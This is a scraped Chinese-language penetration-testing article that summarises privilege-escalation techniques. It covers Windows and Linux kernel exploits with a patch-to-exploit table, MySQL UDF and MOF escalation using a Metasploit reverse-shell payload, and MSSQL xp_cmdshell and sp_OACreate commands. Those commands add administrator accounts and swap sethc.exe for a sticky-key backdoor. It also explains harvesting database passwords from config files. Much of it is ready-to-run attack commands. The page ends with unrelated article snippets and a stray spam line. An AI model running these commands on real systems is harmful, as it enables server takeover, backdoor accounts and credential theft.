<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    滲透測試—提權方式總結

    VSole2022-01-14 22:39:00


    提權就是通過各種辦法和漏洞,提高自己在服務器中的權限,以便控制全局。

    Windows:User >> System

    Linux:User >> Root

    二、怎樣進行提權(提權的方式有哪些)

    1.、系統漏洞提權(Linux、Windows)
    2、數據庫提權
    3、系統配置錯誤提權
    4、權限繼承類提權
    5、第三方軟件/服務提權
    6、WebServer漏洞提權
    

    1、系統漏洞提權

    系統漏洞提權一般就是利用系統自身缺陷,用來提升權限。為了使用方便,windows和linux系統均有提權用的可執行文件。

    Windows的提權exp一般格式為MS08067.exe;
    Linux的提權exp一般格式為2.6.18-194或2.6.18.c。
    

    (1)Windows提權

    1.1> 漏洞編號命名格式

    Windows系統漏洞編號命名格式為:MS08067

    其中:MS是Micosoft的縮寫,固定格式;08 表示年份,即2008年發布的漏洞;067 表示順序,即當年度發布的第67個漏洞。

    1.2> 使用exp提權

    在日常滲透測試過程中,我們常常會先是拿到webshell再進行提權。所以提權腳本也常常會被在webshell中運行使用。

    那么我們如何知道使用哪個exp來提權呢?

    我們可以使用systeminfo命令或者查看補丁目錄,查看補丁記錄,來判斷有哪個補丁沒打,然后使用相對應的exp進行提權。

    KB2645640   MS12-009
    KB2641653   MS12-018
    KB952004     MS09-012 Pr.exe
    KB956572     MS09-012 巴西烤肉
    KB971657     MS09-041
    KB2620712   MS11-097
    KB2393802   MS11-011 ms11011.exe
    KB942831     MS08-005
    KB2503665   MS11-046 ms11046.exe
    KB2592799   MS11-080 ms11080.exe
    

    (2)Linux系統提權

    Linux系統漏洞的exp一般按照內核版本來命名:2.6.18-194或2.6.18.c

    形如2.6.18-194,可以直接執行;形如2.6.18.c,需要編譯后運行,提權。當然也有少部分exp是按照發行版版本命名。

    使用exp

    一般情況下linux的本地提權要用nc反彈出來,因為Linux下提升權限后得到的是交互式shell,需反彈才能進行下一步命令的執行。

    我們可以使用uname -a命令或者cat /proc/version,來判斷系統的內核情況等等,然后使用相對應的exp進行提權。

    注:

    提權過程中需要為你的提權exp賦權,chmod。

    linux服務器很多情況下管理員會設置目錄權限,我們無法修改,但是一般/tmp/目錄不會被設置權限,這和windows下的tmp和回收站是一個道理,所以我們可以將exp存放到/tmp目錄下。

    2、數據庫提權

    數據庫提權是指:通過執行數據庫語句、數據庫函數等方式提升服務器用戶的權限。

    首先我們要先有能力登入數據庫,所以通常我們拿到webshell之后要去網站目錄去找數據庫連接文件,常在形如xxx.conf或conf.xxx文件中。

    (1)MySQL數據庫提權

    MySQL數據庫一般是使用udf(用戶自定義函數)提權或mof(托管對象格式)提權。

    1.1> udf提權(用戶自定義函數)

    條件:

    1、系統版本(Windows2000,XP,Win2003);

    2、擁有MYSQL的某個賬號,且該賬號具有對msql的insert與delete權限;

    3、具有root賬號密碼。

    使用方法:

    1、獲取當前mysql的一個數據庫連接信息,通常包含地址、端口、賬號、密碼、庫名等五個信息。

    2、把udf專用的webshell傳到服務器上,訪問并進行數據庫連接。

    3、連接成功后,導出DLL文件。

    注:

    Mysql<5.0,導出路徑隨意;

    5.0<=mysql<5.1,則需要導出至目標服務器的系統目錄(如:system32),否則在下一步操作中你會看到“No paths allowed for shared library”錯誤;

    mysql>5.1,需要導出dll到插件路徑,例如:D:\Program Files\MySQL\MySQL Server 5.1.3\lib\plugin

    若mysql>=5.0,語句中的DLL不允許帶全路徑,如果在第二步中已將DLL導出到系統目錄,那么你就可以省略路徑而使命令正常執行,否則將會看到”Can’t open shared library“錯誤。

    如果提示“Function ‘cmdshell’ already exists”,則輸入下列語句可以解決:drop function cmdshell;

    4、使用SQL語句創建自定義函數。語法如下:

    Create Function 函數名 returns string soname '導出的DLL路徑';

    eg: Create Function cmdshell returns string soname 'udf.dll';

    功能函數說明:

    cmdshell 執行cmd;
    downloader 下載者,到網上下載指定文件并保存到指定目錄;
    open3389 通用開3389終端服務,可指定端口(不改端口無需重啟);
    backshell 反彈Shell;
    ProcessView 枚舉系統進程;
    KillProcess 終止指定進程;
    regread 讀注冊表;
    regwrite 寫注冊表;
    shut 關機,注銷,重啟;
    about 說明與幫助函數;
    

    5、創建函數成功后,就可以通過sql語句調用它了。

    語法如下:
    select 創建的函數名 ('參數列表');
    eg: select cmdshell("net user nsfocus Nsf0cus /add");
    # 創建一個用戶nsfocus,密碼為Nsf0cus
    

    6、函數使用完后,我們需要把之前生成的DLL和創建的函數刪除掉,但要注意次序,必須先刪除函數再刪除DLL。

    刪除函數的語法如下:
    drop function 創建的函數名;
    eg: drop function cmdshell;
    

    整體思路:

    導出C:\windows\udf.dll
    Create Function cmdshell returns string soname 'udf.dll';
    select cmdshell('whoami')
    drop function cmdshell
    1.2>  Mof提權(托管對象格式)
    提權c:/windows/system32/wbem/mof/
    use exploit/windows/mysql/mysql_mof
    set password xxx
    set username xxx
    set rhost xxx
    set rport xxx
    set payload windows/shell_reverse_tcp
    set lhost xxx
    set lport xxx
    exploit
    

    (2)Mssql數據庫提權

    Mssql數據庫提權總結

    在SA權限下

    存在xp_cmdshell時
    使用xp_cmdshell執行命令添加用戶,當出現錯誤可以恢復和開啟
    xp_cmdshell無法使用時
    使用sp_OACreate執行命令,同樣當出現錯誤可以恢復和開啟
    當執行命令無法使用時可以用沙盒提權 (使用xp_regwrite和openrowset)
    當只有xp_regwrite可用時可以劫持粘滯鍵(sethc.exe)
    使用xp_regwrite修改注冊表
    

    DBA權限下

    備份到網站目錄
    通過備份文件到啟動項提
    

    2.1> SA口令獲取方法

    2.1.1 Webshell或源碼獲取

    一般在站的配置文件中有存放明文賬號密碼,常用配置文件名如:

    conn.aspx
    config.aspx
    config.php
    web.config
    .........
    

    一般格式如:

    server=localhost;
    UID=sa;
    PWD=shadowflow
    

    2.1.2源代碼泄露

    網站源碼泄露情況主要以程序員上傳代碼到git等開源平臺或更新代碼時未刪除備份文件(.svn、.git、.bak),以及運維人員打包源代碼到網站服務器(www.rar等)。

    2.1.3嗅探

    在局域網中使用cain等工具進行arp嗅探的時候可以抓取到1433端口的數據庫明文登錄密碼

    2.1.4口令暴力破解

    利用mssql暴力破解工具對mssql進行暴力破解,一旦成功將獲得sa相應權限

    2.2> 常用SQL Server提權語句

    查看數據庫版本:select @@version
    查看數據庫系統參數:exec master..xp_msver;
    查看用戶所屬角色信息:sp_helpsrvrolemember
    查看當前數據庫:select db_name()
    顯示機器上的驅動器:xp_availablemedia
    查看當前賬戶權限
    select IS_SRVROLEMEMBER('sysadmin') #判斷是否為sa權限
    類似serveradmin,setupadmin,securityadmin,diskadmin,bulkadmin
    select IS_MEMBER('db_owner') #判斷是否為dbo權限
    添加用戶
    exec master.dbo.sp_addlogin test,password #添加用戶
    exec master.dbo.sp_addsrvrolemember test,sysadmin #加權限
    啟動停止服務
    exec master..xp_servicecontrol 'stop','test'
    exec master..xp_servicecontrol 'start','test'
    檢查功能
    SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_cmdshell'
    xp_cmdshell, xpregread,sp_makewebtask,xp_subdirs,xp_dirtree, sp_addextendedproc
    

    xp_cmdshell

    1、開啟xp_cmdshell存儲過程

    exec sp_configure 'show advanced options',1;RECONFIGURE;
    exec sp_configure 'xp_cmdshell',1;RECONFIGURE;
    

    2、關閉xp_cmdshell存儲過程

    exec sp_configure 'show advanced options', 1, RECONFIGURE;
    exec sp_configure 'xp_cmdshell',0;RECONFIGURE;
    

    3、xp_cmdshell執行命令

    exec master..xp_cmdshell 'ver'
    exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'
    

    4、恢復xp_cmdshell

    exec sp_dropextendedproc 'xp_cmdshell'
    dbcc addextendedproc ("xp_cmdshell","xplog70.dll) OR dbcc addextendedproc ("xp_cmdshell","d:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll");EXEC sp_configure 'show advanced options', 0 --
    

    sp_OACreate

    1、開啟sp_OACreate

    exec sp_configure 'show advanced options', 1;RECONFIGURE;
    exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;
    

    2、關閉sp_OACreate

    exec sp_configure 'show advanced options',1;RECONFIGURE;
    exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;
    

    3、禁用advanced options

    EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;
    

    4、sp_OACreate執行命令

    DECLARE @js int
    EXEC sp_OACreate 'ScriptControl',@js OUT
    EXEC sp_OASetProperty @js,'Language','JavaScript'
    ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'
    

    5、sp_OACreate移動文件

    declare @aa int
    exec sp_oacreate 'scripting.filesystemobject' @aa out
    exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log','c:\temp\ipmi1.log';
    

    6、sp_OACreate復制文件

    declare @o int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'
    

    7、sp_OACreate刪除文件

    DECLARE @Result int
    DECLARE @FSO_Token int
    EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
    EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile',NULL,'c:\Documents and Settings\All Users\ [開始] 菜單\程序\啟動\user.bat'
    EXEC @Result = sp_OADestrop @FSO_Token
    

    8、wscript.shell執行命令

    9、Shell.Application執行命令

    10、sp_oacreate 替換粘貼鍵

    沙盒執行命令
    openrowset開啟
    openrowset關閉
    沙盒執行命令
    注冊表篡改
    注冊表劫持粘貼鍵
    

    3、系統配置不當提權

    利用配置不當提權

      前提:已經成功滲透進目標系統;

      相比利用漏洞提權,是更常用的方法;

      在大部分企業中,會將系統的漏洞即時進行補丁更新,難以通過系統自身我的漏洞進行入侵;

      可以查找系統中以system權限啟動的服務或應用,可以嘗試將其替換或者反彈shell的方式提權;

      可以查找NTFS權限允許users修改刪除的應用,利用配置不當進行提權;

      代碼中是否有過濾參數的操作等都可以加以利用,進行提取;

    4、權限繼承類提權

    開機啟動項提權?

    windows開機時候都會有一些開機啟動的程序,那時候啟動的程序權限都是system,因為是system把他們啟動的,利用這點,我們可以將自動化腳本寫入啟動項,達到提權的目的。

    5、第三方軟件/服務提權

    類型較多,選擇參考

    https://www.jianshu.com/p/7115b54e6da9

    https://blog.csdn.net/fuckcat_2333/article/details/52164630

    6、WebServer漏洞提權

    滲透測試mysql創建數據庫
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    一個批量漏洞挖掘工具,黏合各種好用的掃描器。
    QingScan 是一款聚合掃描器,本身不生產安全掃描功能,但會作為一個安全掃描工具的搬運工;當添加一個目標后,QingScan會自動調用各種掃描器對目標進行掃描,并將掃描結果錄入到QingScan平臺中進行聚合展示 · GitHub:https://github.com/78778443/QingScan · 碼云地址:https://gitee.com/songboy/QingScan
    項目安裝迷你天貓商城是一個基于Spring Boot的綜合性B2C電商平臺,需求設計主要參考天貓商城的購物流程:用戶從注冊開始,到完成登錄,瀏覽商品,加入購物車,進行下單,確認收貨,評價等一系列操作。作為迷你天貓商城的核心組成部分之一,天貓數據管理后臺包含商品管理,訂單管理,類別管理,用戶管理和交易額統計等模塊,實現了對整個商城的一站式管理和維護。
    目前支持的功能有:爬蟲、目錄爆破、端口探測、C段探測、子域名探測、fastjson檢測、xss探測、指紋識別、漏洞掃描、漏洞告警。
    Mysql攻擊總結
    2021-11-17 04:43:35
    Mysql數據庫在無論是在滲透測試還是正常使用都是比較常見數據庫,周末沒事做,順便總結梳理了mysql近些年的常見攻擊利用方法。 0x01 簡單介紹 MySQL 是最流行的關系型數據庫管理系統,在 WEB 應用方面 MySQL 是最好的 RDBMS(Relational Database Management System:關系數據庫管理系統)應用軟件之一。 0x02 基礎指令 在mysql
    phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。借由此Web接口可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。其中一個更大的優勢在于由于phpMyAdmin跟其他PHP程式一樣在網頁服務器上執行,但是您可以在任何地方使用這些程式產生的HTML頁面,
    Mssql測試到實戰
    2022-05-23 07:12:19
    支持主機存活探測、端口掃描、常見服務的爆破、ms17010、redis批量寫公鑰、計劃任務反彈shell、讀取win網卡信息、web指紋識別、web漏洞掃描、netbios探測、域控識別等功能。項目地址:http://sqlmap.org/3、多種數據庫管理工具工具一:HeidiSQLHeidiSQL 是免費軟件,其目標是易于學習。
    起因,由于前幾天拿了一個菠菜站的webshell,但是只有iis權限,執行無法創建用戶等操作,更無法對整個服務器進行控制了,于是此時便需要提權了,對于一個剛剛入門的小白來說,此刻真正意識到了提權的重要性,于是便開始學習提取相關知識,以拿下該菠菜的站點。提權前的準備工作1,通常來說,不同的腳本所處的權限是不一樣的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类